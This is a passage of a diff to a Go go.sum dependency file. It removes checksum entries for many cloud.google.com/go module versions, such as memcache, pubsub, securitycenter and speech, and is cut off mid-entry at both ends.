-cloud.google.com/go/maps v1.3.0/go.mod h1:6mWTUv+WhnOwAgjVsSW2QPPECmW+s3PcRyOa9vgG/5s= -cloud.google.com/go/maps v1.4.0/go.mod h1:6mWTUv+WhnOwAgjVsSW2QPPECmW+s3PcRyOa9vgG/5s= -cloud.google.com/go/mediatranslation v0.5.0/go.mod h1:jGPUhGTybqsPQn91pNXw0xVHfuJ3leR1wj37oU3y1f4= -cloud.google.com/go/mediatranslation v0.6.0/go.mod h1:hHdBCTYNigsBxshbznuIMFNe5QXEowAuNmmC7h8pu5w= -cloud.google.com/go/mediatranslation v0.7.0/go.mod h1:LCnB/gZr90ONOIQLgSXagp8XUW1ODs2UmUMvcgMfI2I= -cloud.google.com/go/mediatranslation v0.8.1/go.mod h1:L/7hBdEYbYHQJhX2sldtTO5SZZ1C1vkapubj0T2aGig= -cloud.google.com/go/memcache v1.4.0/go.mod h1:rTOfiGZtJX1AaFUrOgsMHX5kAzaTQ8azHiuDoTPzNsE= -cloud.google.com/go/memcache v1.5.0/go.mod h1:dk3fCK7dVo0cUU2c36jKb4VqKPS22BTkf81Xq617aWM= -cloud.google.com/go/memcache v1.6.0/go.mod h1:XS5xB0eQZdHtTuTF9Hf8eJkKtR3pVRCcvJwtm68T3rA= -cloud.google.com/go/memcache v1.7.0/go.mod h1:ywMKfjWhNtkQTxrWxCkCFkoPjLHPW6A7WOTVI8xy3LY= -cloud.google.com/go/memcache v1.9.0/go.mod h1:8oEyzXCu+zo9RzlEaEjHl4KkgjlNDaXbCQeQWlzNFJM= -cloud.google.com/go/memcache v1.10.1/go.mod h1:47YRQIarv4I3QS5+hoETgKO40InqzLP6kpNLvyXuyaA= -cloud.google.com/go/metastore v1.5.0/go.mod h1:2ZNrDcQwghfdtCwJ33nM0+GrBGlVuh8rakL3vdPY3XY= -cloud.google.com/go/metastore v1.6.0/go.mod h1:6cyQTls8CWXzk45G55x57DVQ9gWg7RiH65+YgPsNh9s= -cloud.google.com/go/metastore v1.7.0/go.mod h1:s45D0B4IlsINu87/AsWiEVYbLaIMeUSoxlKKDqBGFS8= -cloud.google.com/go/metastore v1.8.0/go.mod h1:zHiMc4ZUpBiM7twCIFQmJ9JMEkDSyZS9U12uf7wHqSI= -cloud.google.com/go/metastore v1.10.0/go.mod h1:fPEnH3g4JJAk+gMRnrAnoqyv2lpUCqJPWOodSaf45Eo= -cloud.google.com/go/metastore v1.11.1/go.mod h1:uZuSo80U3Wd4zi6C22ZZliOUJ3XeM/MlYi/z5OAOWRA= -cloud.google.com/go/metastore v1.12.0/go.mod h1:uZuSo80U3Wd4zi6C22ZZliOUJ3XeM/MlYi/z5OAOWRA= -cloud.google.com/go/monitoring v1.7.0/go.mod h1:HpYse6kkGo//7p6sT0wsIC6IBDET0RhIsnmlA53dvEk= -cloud.google.com/go/monitoring v1.8.0/go.mod h1:E7PtoMJ1kQXWxPjB6mv2fhC5/15jInuulFdYYtlcvT4= -cloud.google.com/go/monitoring v1.12.0/go.mod h1:yx8Jj2fZNEkL/GYZyTLS4ZtZEZN8WtDEiEqG4kLK50w= -cloud.google.com/go/monitoring v1.13.0/go.mod h1:k2yMBAB1H9JT/QETjNkgdCGD9bPF712XiLTVr+cBrpw= -cloud.google.com/go/monitoring v1.15.1/go.mod h1:lADlSAlFdbqQuwwpaImhsJXu1QSdd3ojypXrFSMr2rM= -cloud.google.com/go/networkconnectivity v1.4.0/go.mod h1:nOl7YL8odKyAOtzNX73/M5/mGZgqqMeryi6UPZTk/rA= -cloud.google.com/go/networkconnectivity v1.5.0/go.mod h1:3GzqJx7uhtlM3kln0+x5wyFvuVH1pIBJjhCpjzSt75o= -cloud.google.com/go/networkconnectivity v1.6.0/go.mod h1:OJOoEXW+0LAxHh89nXd64uGG+FbQoeH8DtxCHVOMlaM= -cloud.google.com/go/networkconnectivity v1.7.0/go.mod h1:RMuSbkdbPwNMQjB5HBWD5MpTBnNm39iAVpC3TmsExt8= -cloud.google.com/go/networkconnectivity v1.10.0/go.mod h1:UP4O4sWXJG13AqrTdQCD9TnLGEbtNRqjuaaA7bNjF5E= -cloud.google.com/go/networkconnectivity v1.11.0/go.mod h1:iWmDD4QF16VCDLXUqvyspJjIEtBR/4zq5hwnY2X3scM= -cloud.google.com/go/networkconnectivity v1.12.1/go.mod h1:PelxSWYM7Sh9/guf8CFhi6vIqf19Ir/sbfZRUwXh92E= -cloud.google.com/go/networkmanagement v1.4.0/go.mod h1:Q9mdLLRn60AsOrPc8rs8iNV6OHXaGcDdsIQe1ohekq8= -cloud.google.com/go/networkmanagement v1.5.0/go.mod h1:ZnOeZ/evzUdUsnvRt792H0uYEnHQEMaz+REhhzJRcf4= -cloud.google.com/go/networkmanagement v1.6.0/go.mod h1:5pKPqyXjB/sgtvB5xqOemumoQNB7y95Q7S+4rjSOPYY= -cloud.google.com/go/networkmanagement v1.8.0/go.mod h1:Ho/BUGmtyEqrttTgWEe7m+8vDdK74ibQc+Be0q7Fof0= -cloud.google.com/go/networksecurity v0.5.0/go.mod h1:xS6fOCoqpVC5zx15Z/MqkfDwH4+m/61A3ODiDV1xmiQ= -cloud.google.com/go/networksecurity v0.6.0/go.mod h1:Q5fjhTr9WMI5mbpRYEbiexTzROf7ZbDzvzCrNl14nyU= -cloud.google.com/go/networksecurity v0.7.0/go.mod h1:mAnzoxx/8TBSyXEeESMy9OOYwo1v+gZ5eMRnsT5bC8k= -cloud.google.com/go/networksecurity v0.8.0/go.mod h1:B78DkqsxFG5zRSVuwYFRZ9Xz8IcQ5iECsNrPn74hKHU= -cloud.google.com/go/networksecurity v0.9.1/go.mod h1:MCMdxOKQ30wsBI1eI659f9kEp4wuuAueoC9AJKSPWZQ= -cloud.google.com/go/notebooks v1.2.0/go.mod h1:9+wtppMfVPUeJ8fIWPOq1UnATHISkGXGqTkxeieQ6UY= -cloud.google.com/go/notebooks v1.3.0/go.mod h1:bFR5lj07DtCPC7YAAJ//vHskFBxA5JzYlH68kXVdk34= -cloud.google.com/go/notebooks v1.4.0/go.mod h1:4QPMngcwmgb6uw7Po99B2xv5ufVoIQ7nOGDyL4P8AgA= -cloud.google.com/go/notebooks v1.5.0/go.mod h1:q8mwhnP9aR8Hpfnrc5iN5IBhrXUy8S2vuYs+kBJ/gu0= -cloud.google.com/go/notebooks v1.7.0/go.mod h1:PVlaDGfJgj1fl1S3dUwhFMXFgfYGhYQt2164xOMONmE= -cloud.google.com/go/notebooks v1.8.0/go.mod h1:Lq6dYKOYOWUCTvw5t2q1gp1lAp0zxAxRycayS0iJcqQ= -cloud.google.com/go/notebooks v1.9.1/go.mod h1:zqG9/gk05JrzgBt4ghLzEepPHNwE5jgPcHZRKhlC1A8= -cloud.google.com/go/optimization v1.1.0/go.mod h1:5po+wfvX5AQlPznyVEZjGJTMr4+CAkJf2XSTQOOl9l4= -cloud.google.com/go/optimization v1.2.0/go.mod h1:Lr7SOHdRDENsh+WXVmQhQTrzdu9ybg0NecjHidBq6xs= -cloud.google.com/go/optimization v1.3.1/go.mod h1:IvUSefKiwd1a5p0RgHDbWCIbDFgKuEdB+fPPuP0IDLI= -cloud.google.com/go/optimization v1.4.1/go.mod h1:j64vZQP7h9bO49m2rVaTVoNM0vEBEN5eKPUPbZyXOrk= -cloud.google.com/go/orchestration v1.3.0/go.mod h1:Sj5tq/JpWiB//X/q3Ngwdl5K7B7Y0KZ7bfv0wL6fqVA= -cloud.google.com/go/orchestration v1.4.0/go.mod h1:6W5NLFWs2TlniBphAViZEVhrXRSMgUGDfW7vrWKvsBk= -cloud.google.com/go/orchestration v1.6.0/go.mod h1:M62Bevp7pkxStDfFfTuCOaXgaaqRAga1yKyoMtEoWPQ= -cloud.google.com/go/orchestration v1.8.1/go.mod h1:4sluRF3wgbYVRqz7zJ1/EUNc90TTprliq9477fGobD8= -cloud.google.com/go/orgpolicy v1.4.0/go.mod h1:xrSLIV4RePWmP9P3tBl8S93lTmlAxjm06NSm2UTmKvE= -cloud.google.com/go/orgpolicy v1.5.0/go.mod h1:hZEc5q3wzwXJaKrsx5+Ewg0u1LxJ51nNFlext7Tanwc= -cloud.google.com/go/orgpolicy v1.10.0/go.mod h1:w1fo8b7rRqlXlIJbVhOMPrwVljyuW5mqssvBtU18ONc= -cloud.google.com/go/orgpolicy v1.11.0/go.mod h1:2RK748+FtVvnfuynxBzdnyu7sygtoZa1za/0ZfpOs1M= -cloud.google.com/go/orgpolicy v1.11.1/go.mod h1:8+E3jQcpZJQliP+zaFfayC2Pg5bmhuLK755wKhIIUCE= -cloud.google.com/go/osconfig v1.7.0/go.mod h1:oVHeCeZELfJP7XLxcBGTMBvRO+1nQ5tFG9VQTmYS2Fs= -cloud.google.com/go/osconfig v1.8.0/go.mod h1:EQqZLu5w5XA7eKizepumcvWx+m8mJUhEwiPqWiZeEdg= -cloud.google.com/go/osconfig v1.9.0/go.mod h1:Yx+IeIZJ3bdWmzbQU4fxNl8xsZ4amB+dygAwFPlvnNo= -cloud.google.com/go/osconfig v1.10.0/go.mod h1:uMhCzqC5I8zfD9zDEAfvgVhDS8oIjySWh+l4WK6GnWw= -cloud.google.com/go/osconfig v1.11.0/go.mod h1:aDICxrur2ogRd9zY5ytBLV89KEgT2MKB2L/n6x1ooPw= -cloud.google.com/go/osconfig v1.12.0/go.mod h1:8f/PaYzoS3JMVfdfTubkowZYGmAhUCjjwnjqWI7NVBc= -cloud.google.com/go/osconfig v1.12.1/go.mod h1:4CjBxND0gswz2gfYRCUoUzCm9zCABp91EeTtWXyz0tE= -cloud.google.com/go/oslogin v1.4.0/go.mod h1:YdgMXWRaElXz/lDk1Na6Fh5orF7gvmJ0FGLIs9LId4E= -cloud.google.com/go/oslogin v1.5.0/go.mod h1:D260Qj11W2qx/HVF29zBg+0fd6YCSjSqLUkY/qEenQU= -cloud.google.com/go/oslogin v1.6.0/go.mod h1:zOJ1O3+dTU8WPlGEkFSh7qeHPPSoxrcMbbK1Nm2iX70= -cloud.google.com/go/oslogin v1.7.0/go.mod h1:e04SN0xO1UNJ1M5GP0vzVBFicIe4O53FOfcixIqTyXo= -cloud.google.com/go/oslogin v1.9.0/go.mod h1:HNavntnH8nzrn8JCTT5fj18FuJLFJc4NaZJtBnQtKFs= -cloud.google.com/go/oslogin v1.10.1/go.mod h1:x692z7yAue5nE7CsSnoG0aaMbNoRJRXO4sn73R+ZqAs= -cloud.google.com/go/phishingprotection v0.5.0/go.mod h1:Y3HZknsK9bc9dMi+oE8Bim0lczMU6hrX0UpADuMefr0= -cloud.google.com/go/phishingprotection v0.6.0/go.mod h1:9Y3LBLgy0kDTcYET8ZH3bq/7qni15yVUoAxiFxnlSUA= -cloud.google.com/go/phishingprotection v0.7.0/go.mod h1:8qJI4QKHoda/sb/7/YmMQ2omRLSLYSu9bU0EKCNI+Lk= -cloud.google.com/go/phishingprotection v0.8.1/go.mod h1:AxonW7GovcA8qdEk13NfHq9hNx5KPtfxXNeUxTDxB6I= -cloud.google.com/go/policytroubleshooter v1.3.0/go.mod h1:qy0+VwANja+kKrjlQuOzmlvscn4RNsAc0e15GGqfMxg= -cloud.google.com/go/policytroubleshooter v1.4.0/go.mod h1:DZT4BcRw3QoO8ota9xw/LKtPa8lKeCByYeKTIf/vxdE= -cloud.google.com/go/policytroubleshooter v1.5.0/go.mod h1:Rz1WfV+1oIpPdN2VvvuboLVRsB1Hclg3CKQ53j9l8vw= -cloud.google.com/go/policytroubleshooter v1.6.0/go.mod h1:zYqaPTsmfvpjm5ULxAyD/lINQxJ0DDsnWOP/GZ7xzBc= -cloud.google.com/go/policytroubleshooter v1.7.1/go.mod h1:0NaT5v3Ag1M7U5r0GfDCpUFkWd9YqpubBWsQlhanRv0= -cloud.google.com/go/policytroubleshooter v1.8.0/go.mod h1:tmn5Ir5EToWe384EuboTcVQT7nTag2+DuH3uHmKd1HU= -cloud.google.com/go/privatecatalog v0.5.0/go.mod h1:XgosMUvvPyxDjAVNDYxJ7wBW8//hLDDYmnsNcMGq1K0= -cloud.google.com/go/privatecatalog v0.6.0/go.mod h1:i/fbkZR0hLN29eEWiiwue8Pb+GforiEIBnV9yrRUOKI= -cloud.google.com/go/privatecatalog v0.7.0/go.mod h1:2s5ssIFO69F5csTXcwBP7NPFTZvps26xGzvQ2PQaBYg= -cloud.google.com/go/privatecatalog v0.8.0/go.mod h1:nQ6pfaegeDAq/Q5lrfCQzQLhubPiZhSaNhIgfJlnIXs= -cloud.google.com/go/privatecatalog v0.9.1/go.mod h1:0XlDXW2unJXdf9zFz968Hp35gl/bhF4twwpXZAW50JA= cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I= cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw= cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA= cloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU= -cloud.google.com/go/pubsub v1.26.0/go.mod h1:QgBH3U/jdJy/ftjPhTkyXNj543Tin1pRYcdcPRnFIRI= -cloud.google.com/go/pubsub v1.27.1/go.mod h1:hQN39ymbV9geqBnfQq6Xf63yNhUAhv9CZhzp5O6qsW0= -cloud.google.com/go/pubsub v1.28.0/go.mod h1:vuXFpwaVoIPQMGXqRyUQigu/AX1S3IWugR9xznmcXX8= -cloud.google.com/go/pubsub v1.30.0/go.mod h1:qWi1OPS0B+b5L+Sg6Gmc9zD1Y+HaM0MdUr7LsupY1P4= -cloud.google.com/go/pubsub v1.32.0/go.mod h1:f+w71I33OMyxf9VpMVcZbnG5KSUkCOUHYpFd5U1GdRc= -cloud.google.com/go/pubsub v1.33.0/go.mod h1:f+w71I33OMyxf9VpMVcZbnG5KSUkCOUHYpFd5U1GdRc= -cloud.google.com/go/pubsublite v1.5.0/go.mod h1:xapqNQ1CuLfGi23Yda/9l4bBCKz/wC3KIJ5gKcxveZg= -cloud.google.com/go/pubsublite v1.6.0/go.mod h1:1eFCS0U11xlOuMFV/0iBqw3zP12kddMeCbj/F3FSj9k= -cloud.google.com/go/pubsublite v1.7.0/go.mod h1:8hVMwRXfDfvGm3fahVbtDbiLePT3gpoiJYJY+vxWxVM= -cloud.google.com/go/pubsublite v1.8.1/go.mod h1:fOLdU4f5xldK4RGJrBMm+J7zMWNj/k4PxwEZXy39QS0= -cloud.google.com/go/recaptchaenterprise v1.3.1/go.mod h1:OdD+q+y4XGeAlxRaMn1Y7/GveP6zmq76byL6tjPE7d4= -cloud.google.com/go/recaptchaenterprise/v2 v2.1.0/go.mod h1:w9yVqajwroDNTfGuhmOjPDN//rZGySaf6PtFVcSCa7o= -cloud.google.com/go/recaptchaenterprise/v2 v2.2.0/go.mod h1:/Zu5jisWGeERrd5HnlS3EUGb/D335f9k51B/FVil0jk= -cloud.google.com/go/recaptchaenterprise/v2 v2.3.0/go.mod h1:O9LwGCjrhGHBQET5CA7dd5NwwNQUErSgEDit1DLNTdo= -cloud.google.com/go/recaptchaenterprise/v2 v2.4.0/go.mod h1:Am3LHfOuBstrLrNCBrlI5sbwx9LBg3te2N6hGvHn2mE= -cloud.google.com/go/recaptchaenterprise/v2 v2.5.0/go.mod h1:O8LzcHXN3rz0j+LBC91jrwI3R+1ZSZEWrfL7XHgNo9U= -cloud.google.com/go/recaptchaenterprise/v2 v2.6.0/go.mod h1:RPauz9jeLtB3JVzg6nCbe12qNoaa8pXc4d/YukAmcnA= -cloud.google.com/go/recaptchaenterprise/v2 v2.7.0/go.mod h1:19wVj/fs5RtYtynAPJdDTb69oW0vNHYDBTbB4NvMD9c= -cloud.google.com/go/recaptchaenterprise/v2 v2.7.2/go.mod h1:kR0KjsJS7Jt1YSyWFkseQ756D45kaYNTlDPPaRAvDBU= -cloud.google.com/go/recommendationengine v0.5.0/go.mod h1:E5756pJcVFeVgaQv3WNpImkFP8a+RptV6dDLGPILjvg= -cloud.google.com/go/recommendationengine v0.6.0/go.mod h1:08mq2umu9oIqc7tDy8sx+MNJdLG0fUi3vaSVbztHgJ4= -cloud.google.com/go/recommendationengine v0.7.0/go.mod h1:1reUcE3GIu6MeBz/h5xZJqNLuuVjNg1lmWMPyjatzac= -cloud.google.com/go/recommendationengine v0.8.1/go.mod h1:MrZihWwtFYWDzE6Hz5nKcNz3gLizXVIDI/o3G1DLcrE= -cloud.google.com/go/recommender v1.5.0/go.mod h1:jdoeiBIVrJe9gQjwd759ecLJbxCDED4A6p+mqoqDvTg= -cloud.google.com/go/recommender v1.6.0/go.mod h1:+yETpm25mcoiECKh9DEScGzIRyDKpZ0cEhWGo+8bo+c= -cloud.google.com/go/recommender v1.7.0/go.mod h1:XLHs/W+T8olwlGOgfQenXBTbIseGclClff6lhFVe9Bs= -cloud.google.com/go/recommender v1.8.0/go.mod h1:PkjXrTT05BFKwxaUxQmtIlrtj0kph108r02ZZQ5FE70= -cloud.google.com/go/recommender v1.9.0/go.mod h1:PnSsnZY7q+VL1uax2JWkt/UegHssxjUVVCrX52CuEmQ= -cloud.google.com/go/recommender v1.10.1/go.mod h1:XFvrE4Suqn5Cq0Lf+mCP6oBHD/yRMA8XxP5sb7Q7gpA= -cloud.google.com/go/redis v1.7.0/go.mod h1:V3x5Jq1jzUcg+UNsRvdmsfuFnit1cfe3Z/PGyq/lm4Y= -cloud.google.com/go/redis v1.8.0/go.mod h1:Fm2szCDavWzBk2cDKxrkmWBqoCiL1+Ctwq7EyqBCA/A= -cloud.google.com/go/redis v1.9.0/go.mod h1:HMYQuajvb2D0LvMgZmLDZW8V5aOC/WxstZHiy4g8OiA= -cloud.google.com/go/redis v1.10.0/go.mod h1:ThJf3mMBQtW18JzGgh41/Wld6vnDDc/F/F35UolRZPM= -cloud.google.com/go/redis v1.11.0/go.mod h1:/X6eicana+BWcUda5PpwZC48o37SiFVTFSs0fWAJ7uQ= -cloud.google.com/go/redis v1.13.1/go.mod h1:VP7DGLpE91M6bcsDdMuyCm2hIpB6Vp2hI090Mfd1tcg= -cloud.google.com/go/resourcemanager v1.3.0/go.mod h1:bAtrTjZQFJkiWTPDb1WBjzvc6/kifjj4QBYuKCCoqKA= -cloud.google.com/go/resourcemanager v1.4.0/go.mod h1:MwxuzkumyTX7/a3n37gmsT3py7LIXwrShilPh3P1tR0= -cloud.google.com/go/resourcemanager v1.5.0/go.mod h1:eQoXNAiAvCf5PXxWxXjhKQoTMaUSNrEfg+6qdf/wots= -cloud.google.com/go/resourcemanager v1.6.0/go.mod h1:YcpXGRs8fDzcUl1Xw8uOVmI8JEadvhRIkoXXUNVYcVo= -cloud.google.com/go/resourcemanager v1.7.0/go.mod h1:HlD3m6+bwhzj9XCouqmeiGuni95NTrExfhoSrkC/3EI= -cloud.google.com/go/resourcemanager v1.9.1/go.mod h1:dVCuosgrh1tINZ/RwBufr8lULmWGOkPS8gL5gqyjdT8= -cloud.google.com/go/resourcesettings v1.3.0/go.mod h1:lzew8VfESA5DQ8gdlHwMrqZs1S9V87v3oCnKCWoOuQU= -cloud.google.com/go/resourcesettings v1.4.0/go.mod h1:ldiH9IJpcrlC3VSuCGvjR5of/ezRrOxFtpJoJo5SmXg= -cloud.google.com/go/resourcesettings v1.5.0/go.mod h1:+xJF7QSG6undsQDfsCJyqWXyBwUoJLhetkRMDRnIoXA= -cloud.google.com/go/resourcesettings v1.6.1/go.mod h1:M7mk9PIZrC5Fgsu1kZJci6mpgN8o0IUzVx3eJU3y4Jw= -cloud.google.com/go/retail v1.8.0/go.mod h1:QblKS8waDmNUhghY2TI9O3JLlFk8jybHeV4BF19FrE4= -cloud.google.com/go/retail v1.9.0/go.mod h1:g6jb6mKuCS1QKnH/dpu7isX253absFl6iE92nHwlBUY= -cloud.google.com/go/retail v1.10.0/go.mod h1:2gDk9HsL4HMS4oZwz6daui2/jmKvqShXKQuB2RZ+cCc= -cloud.google.com/go/retail v1.11.0/go.mod h1:MBLk1NaWPmh6iVFSz9MeKG/Psyd7TAgm6y/9L2B4x9Y= -cloud.google.com/go/retail v1.12.0/go.mod h1:UMkelN/0Z8XvKymXFbD4EhFJlYKRx1FGhQkVPU5kF14= -cloud.google.com/go/retail v1.14.1/go.mod h1:y3Wv3Vr2k54dLNIrCzenyKG8g8dhvhncT2NcNjb/6gE= -cloud.google.com/go/run v0.2.0/go.mod h1:CNtKsTA1sDcnqqIFR3Pb5Tq0usWxJJvsWOCPldRU3Do= -cloud.google.com/go/run v0.3.0/go.mod h1:TuyY1+taHxTjrD0ZFk2iAR+xyOXEA0ztb7U3UNA0zBo= -cloud.google.com/go/run v0.8.0/go.mod h1:VniEnuBwqjigv0A7ONfQUaEItaiCRVujlMqerPPiktM= -cloud.google.com/go/run v0.9.0/go.mod h1:Wwu+/vvg8Y+JUApMwEDfVfhetv30hCG4ZwDR/IXl2Qg= -cloud.google.com/go/run v1.2.0/go.mod h1:36V1IlDzQ0XxbQjUx6IYbw8H3TJnWvhii963WW3B/bo= -cloud.google.com/go/scheduler v1.4.0/go.mod h1:drcJBmxF3aqZJRhmkHQ9b3uSSpQoltBPGPxGAWROx6s= -cloud.google.com/go/scheduler v1.5.0/go.mod h1:ri073ym49NW3AfT6DZi21vLZrG07GXr5p3H1KxN5QlI= -cloud.google.com/go/scheduler v1.6.0/go.mod h1:SgeKVM7MIwPn3BqtcBntpLyrIJftQISRrYB5ZtT+KOk= -cloud.google.com/go/scheduler v1.7.0/go.mod h1:jyCiBqWW956uBjjPMMuX09n3x37mtyPJegEWKxRsn44= -cloud.google.com/go/scheduler v1.8.0/go.mod h1:TCET+Y5Gp1YgHT8py4nlg2Sew8nUHMqcpousDgXJVQc= -cloud.google.com/go/scheduler v1.9.0/go.mod h1:yexg5t+KSmqu+njTIh3b7oYPheFtBWGcbVUYF1GGMIc= -cloud.google.com/go/scheduler v1.10.1/go.mod h1:R63Ldltd47Bs4gnhQkmNDse5w8gBRrhObZ54PxgR2Oo= -cloud.google.com/go/secretmanager v1.6.0/go.mod h1:awVa/OXF6IiyaU1wQ34inzQNc4ISIDIrId8qE5QGgKA= -cloud.google.com/go/secretmanager v1.8.0/go.mod h1:hnVgi/bN5MYHd3Gt0SPuTPPp5ENina1/LxM+2W9U9J4= -cloud.google.com/go/secretmanager v1.9.0/go.mod h1:b71qH2l1yHmWQHt9LC80akm86mX8AL6X1MA01dW8ht4= -cloud.google.com/go/secretmanager v1.10.0/go.mod h1:MfnrdvKMPNra9aZtQFvBcvRU54hbPD8/HayQdlUgJpU= -cloud.google.com/go/secretmanager v1.11.1/go.mod h1:znq9JlXgTNdBeQk9TBW/FnR/W4uChEKGeqQWAJ8SXFw= -cloud.google.com/go/security v1.5.0/go.mod h1:lgxGdyOKKjHL4YG3/YwIL2zLqMFCKs0UbQwgyZmfJl4= -cloud.google.com/go/security v1.7.0/go.mod h1:mZklORHl6Bg7CNnnjLH//0UlAlaXqiG7Lb9PsPXLfD0= -cloud.google.com/go/security v1.8.0/go.mod h1:hAQOwgmaHhztFhiQ41CjDODdWP0+AE1B3sX4OFlq+GU= -cloud.google.com/go/security v1.9.0/go.mod h1:6Ta1bO8LXI89nZnmnsZGp9lVoVWXqsVbIq/t9dzI+2Q= -cloud.google.com/go/security v1.10.0/go.mod h1:QtOMZByJVlibUT2h9afNDWRZ1G96gVywH8T5GUSb9IA= -cloud.google.com/go/security v1.12.0/go.mod h1:rV6EhrpbNHrrxqlvW0BWAIawFWq3X90SduMJdFwtLB8= -cloud.google.com/go/security v1.13.0/go.mod h1:Q1Nvxl1PAgmeW0y3HTt54JYIvUdtcpYKVfIB8AOMZ+0= -cloud.google.com/go/security v1.15.1/go.mod h1:MvTnnbsWnehoizHi09zoiZob0iCHVcL4AUBj76h9fXA= -cloud.google.com/go/securitycenter v1.13.0/go.mod h1:cv5qNAqjY84FCN6Y9z28WlkKXyWsgLO832YiWwkCWcU= -cloud.google.com/go/securitycenter v1.14.0/go.mod h1:gZLAhtyKv85n52XYWt6RmeBdydyxfPeTrpToDPw4Auc= -cloud.google.com/go/securitycenter v1.15.0/go.mod h1:PeKJ0t8MoFmmXLXWm41JidyzI3PJjd8sXWaVqg43WWk= -cloud.google.com/go/securitycenter v1.16.0/go.mod h1:Q9GMaLQFUD+5ZTabrbujNWLtSLZIZF7SAR0wWECrjdk= -cloud.google.com/go/securitycenter v1.18.1/go.mod h1:0/25gAzCM/9OL9vVx4ChPeM/+DlfGQJDwBy/UC8AKK0= -cloud.google.com/go/securitycenter v1.19.0/go.mod h1:LVLmSg8ZkkyaNy4u7HCIshAngSQ8EcIRREP3xBnyfag= -cloud.google.com/go/securitycenter v1.23.0/go.mod h1:8pwQ4n+Y9WCWM278R8W3nF65QtY172h4S8aXyI9/hsQ= -cloud.google.com/go/servicecontrol v1.4.0/go.mod h1:o0hUSJ1TXJAmi/7fLJAedOovnujSEvjKCAFNXPQ1RaU= -cloud.google.com/go/servicecontrol v1.5.0/go.mod h1:qM0CnXHhyqKVuiZnGKrIurvVImCs8gmqWsDoqe9sU1s= -cloud.google.com/go/servicecontrol v1.10.0/go.mod h1:pQvyvSRh7YzUF2efw7H87V92mxU8FnFDawMClGCNuAA= -cloud.google.com/go/servicecontrol v1.11.0/go.mod h1:kFmTzYzTUIuZs0ycVqRHNaNhgR+UMUpw9n02l/pY+mc= -cloud.google.com/go/servicecontrol v1.11.1/go.mod h1:aSnNNlwEFBY+PWGQ2DoM0JJ/QUXqV5/ZD9DOLB7SnUk= -cloud.google.com/go/servicedirectory v1.4.0/go.mod h1:gH1MUaZCgtP7qQiI+F+A+OpeKF/HQWgtAddhTbhL2bs= -cloud.google.com/go/servicedirectory v1.5.0/go.mod h1:QMKFL0NUySbpZJ1UZs3oFAmdvVxhhxB6eJ/Vlp73dfg= -cloud.google.com/go/servicedirectory v1.6.0/go.mod h1:pUlbnWsLH9c13yGkxCmfumWEPjsRs1RlmJ4pqiNjVL4= -cloud.google.com/go/servicedirectory v1.7.0/go.mod h1:5p/U5oyvgYGYejufvxhgwjL8UVXjkuw7q5XcG10wx1U= -cloud.google.com/go/servicedirectory v1.8.0/go.mod h1:srXodfhY1GFIPvltunswqXpVxFPpZjf8nkKQT7XcXaY= -cloud.google.com/go/servicedirectory v1.9.0/go.mod h1:29je5JjiygNYlmsGz8k6o+OZ8vd4f//bQLtvzkPPT/s= -cloud.google.com/go/servicedirectory v1.10.1/go.mod h1:Xv0YVH8s4pVOwfM/1eMTl0XJ6bzIOSLDt8f8eLaGOxQ= -cloud.google.com/go/servicedirectory v1.11.0/go.mod h1:Xv0YVH8s4pVOwfM/1eMTl0XJ6bzIOSLDt8f8eLaGOxQ= -cloud.google.com/go/servicemanagement v1.4.0/go.mod h1:d8t8MDbezI7Z2R1O/wu8oTggo3BI2GKYbdG4y/SJTco= -cloud.google.com/go/servicemanagement v1.5.0/go.mod h1:XGaCRe57kfqu4+lRxaFEAuqmjzF0r+gWHjWqKqBvKFo= -cloud.google.com/go/servicemanagement v1.6.0/go.mod h1:aWns7EeeCOtGEX4OvZUWCCJONRZeFKiptqKf1D0l/Jc= -cloud.google.com/go/servicemanagement v1.8.0/go.mod h1:MSS2TDlIEQD/fzsSGfCdJItQveu9NXnUniTrq/L8LK4= -cloud.google.com/go/serviceusage v1.3.0/go.mod h1:Hya1cozXM4SeSKTAgGXgj97GlqUvF5JaoXacR1JTP/E= -cloud.google.com/go/serviceusage v1.4.0/go.mod h1:SB4yxXSaYVuUBYUml6qklyONXNLt83U0Rb+CXyhjEeU= -cloud.google.com/go/serviceusage v1.5.0/go.mod h1:w8U1JvqUqwJNPEOTQjrMHkw3IaIFLoLsPLvsE3xueec= -cloud.google.com/go/serviceusage v1.6.0/go.mod h1:R5wwQcbOWsyuOfbP9tGdAnCAc6B9DRwPG1xtWMDeuPA= -cloud.google.com/go/shell v1.3.0/go.mod h1:VZ9HmRjZBsjLGXusm7K5Q5lzzByZmJHf1d0IWHEN5X4= -cloud.google.com/go/shell v1.4.0/go.mod h1:HDxPzZf3GkDdhExzD/gs8Grqk+dmYcEjGShZgYa9URw= -cloud.google.com/go/shell v1.6.0/go.mod h1:oHO8QACS90luWgxP3N9iZVuEiSF84zNyLytb+qE2f9A= -cloud.google.com/go/shell v1.7.1/go.mod h1:u1RaM+huXFaTojTbW4g9P5emOrrmLE69KrxqQahKn4g= -cloud.google.com/go/spanner v1.41.0/go.mod h1:MLYDBJR/dY4Wt7ZaMIQ7rXOTLjYrmxLE/5ve9vFfWos= -cloud.google.com/go/spanner v1.44.0/go.mod h1:G8XIgYdOK+Fbcpbs7p2fiprDw4CaZX63whnSMLVBxjk= -cloud.google.com/go/spanner v1.45.0/go.mod h1:FIws5LowYz8YAE1J8fOS7DJup8ff7xJeetWEo5REA2M= -cloud.google.com/go/spanner v1.47.0/go.mod h1:IXsJwVW2j4UKs0eYDqodab6HgGuA1bViSqW4uH9lfUI= -cloud.google.com/go/speech v1.6.0/go.mod h1:79tcr4FHCimOp56lwC01xnt/WPJZc4v3gzyT7FoBkCM= -cloud.google.com/go/speech v1.7.0/go.mod h1:KptqL+BAQIhMsj1kOP2la5DSEEerPDuOP/2mmkhHhZQ= -cloud.google.com/go/speech v1.8.0/go.mod h1:9bYIl1/tjsAnMgKGHKmBZzXKEkGgtU+MpdDPTE9f7y0= -cloud.google.com/go/speech v1.9.0/go.mod h1:xQ0jTcmnRFFM2RfX/U+rk6FQNUF6DQlydUSyoooSpco= -cloud.google.com/go/speech v1.14.1/go.mod h1:gEosVRPJ9waG7zqqnsHpYTOoAS4KouMRLDFMekpJ0J0= -cloud.google.com/go/speech 